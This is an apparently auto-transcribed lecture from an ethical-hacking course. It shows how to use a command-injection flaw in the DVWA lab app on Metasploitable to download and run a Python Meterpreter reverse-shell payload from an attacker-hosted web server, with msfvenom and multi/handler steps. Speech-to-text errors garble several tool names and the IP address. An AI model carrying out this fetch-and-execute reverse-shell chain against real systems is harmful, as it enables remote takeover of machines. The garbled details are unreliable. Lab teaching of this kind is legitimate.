Okay.
So we have covered command injection, but you can combine this vulnerability with other tools as well.
For example, in the last video we managed to establish connection using net cat and command injection
of ability.
But we can improve this by injecting a different payload, such as a better shell or a reverse shell
that we coded in Python.
The process of doing that is the same, so I'll show you how to send a payload to the target and make
it execute with command injection.
Why would we want to do this?
Well, we always want to have the best payload possible.
So why would we use Net Cat when my interpreter gives us a lot more useful options to run on the target
system?
And to do all of that, here are the steps that we must perform.
We must first create the payload appropriate for our target.
Then we must download that payload to our target machine with the help of command injection vulnerability.
And at last we must execute that payload also with the help of command injection vulnerability.
So sounds pretty simple, right?
Let's figure out what payload we should create first.
So to create payload, we need to figure out what do we know about our target.
Well, we know that Metasploit table is a Linux 32 bit machine.
So we can create a Linux method payload.
But for this case, I like python payload a lot better.
So let's create a python method.
Better shell.
Great thing about Linux systems is it comes default with Python.
So Python payload is something that we can execute on our target without them having to install any
additional software.
Let's create it real quick.
So we'll navigate to my desktop directory and here I will type MSV one on dash p and that will specify
that we want to create Python method printer slash reverse TCP.
The WL host is going to be our IP address.
So let's check it out real quick.
It is 182.168.1.9.
Copied and pasted right here for the port.
We can use port 6000, for example, and we are going to output this to arrows into tester dot P and
I just named the payload tester, but feel free to name it anything that you want.
I will press enter here and this will create our python payload.
Let me go right here over this.
And while this is creating, make sure that your burps is started up.
Also make sure that your intercept is turned off and start up your Firefox and your Metasploit table
virtual machine.
So once you do that here in just a few seconds, our payload should be done.
And here it is.
Now that we got the payload created, we must figure out how can we deliver it to the target system.
Of course we will do that using the command injection, but even then, the target must be able to download
our payload from somewhere.
Right.
For this, we're going to use Apache to web server and host our payload there.
Apache comes with Linux already so we can make it run real quick.
To do that we must first type sudo and then service apache to start.
It will ask us for the password.
We input the password and this will start our Apache two web server.
What does this mean?
Well, this means that any file that is hosted inside of slash, var, slash w w slash HTML directory
in our clinics will be hosted on our web page to anyone that visits our IP address.
Let's first of all, visit that directory.
See if I go see the var w w w h html type ls here and we got shell the txt from some previous video
which we can delete straight away.
And this might require root privileges.
So let us just enter root account sudo as u and let's delete the shell tk.
And now our directory is empty so no files are being hosted on our web server.
Let's copy our tester, which in my case is in my home directory.
Mr. Hacker and desktop tester dot pie.
And we want to copy it inside the bar w w w and h html.
And now if we were to go to our clinics machine and visit the IP address of my clinics, which is 122.168.1.9,
we are going to see this page that has this file available to download.
Great.
All we are left to do right now is to execute this file on target system.
Let's go to our command injection page on our Metasploit table.
And to do that, we visit the IP address of Metasploit double navigate to DWA.
All of this we already know.
Let us enter username and password and go to the command injection.
But before we do that, change the security level to either low or medium.
Once we do that inside of the command ejection, we can execute the commands as from the previous video.
So if I type right here, 1 to 2.1 6 to 8 .1.1 and dot and comma, and then else after it it will ping
the Router's IP address and it will also print out the contents of that directory.
But we don't want to ping every time.
We can just type dot and comma which will specify that we want to enter an X Command and we can just
type LZ after it.
And this will just give us an output of the LZ command and we won't have to wait for the ping command
to finish.
Now let's download our payload using w get command and w get is something that you can run from a terminal
in order to download a specific file from the page or link that you specify.
Let me show you inside of terminal first.
So right now I'm inside of the slash home slash Mr. Hacker directory and I don't have the dot p right
here, but if I run the command w get and then 182.168.1.9, which is the IP address of kalanick's slash
and then tester dot pie.
With this link, we are accessing this page right here and this file right here which will tell our
terminal that we want to download that file.
If I press enter, it will download tests to that pie and if I type ls once again.
Now we have tested that pie inside of our home and Mr. Hacker directory.
We want to do the same thing on our target machine.
So to do that, we can use dot and comma to specify the next command and type the same command.
W get 182.168.1.9 slash tester dot p.
I press submit.
And if I run the LZ command once again, now we have one additional file, which is our payload.
So it is there.
It is on the target machine right now with the help of command injection.
The last step we have to do is to set up a listener inside of MSV console.
So let's do that real quick.
And after we set up a listener, we must execute our payload.
And here is the massive console we are already familiar with setting up of the listener.
We are going to use exploit multi handler and we need to set the payload to be a python slash interpreter
slash reverse underscore TCP.
If I show options, all we want to do is set the LL host and output and that will be the IP address
of Linux and the port will be 6000.
The same options that we specified inside the web.
S.F. Why not?
Then I will run this and all we are left to do right now is to execute this test p with the help of
command injection.
So let's see how we can do that.
If I type dot and comma and python tester dot pie press enter.
This page will load.
And these are good news because that would most likely mean that we got the Metro Shell opened with
the help of Python.
We executed our Python program on the target machine and it opened our method shell where we can execute
various commands as usual.
We can run help command to see what else we can execute, and we can basically perform post exploitation
that we already covered.
Great.
So this is just another way that you can use command injection to your advantage to spawn a better payload
than just a simple net command execution.
So you can try to test this with our python payload if you want.
Great.
Now that we cover the command injection vulnerability in the next video, we're going to go into cross-site
scripting vulnerability.
See you there.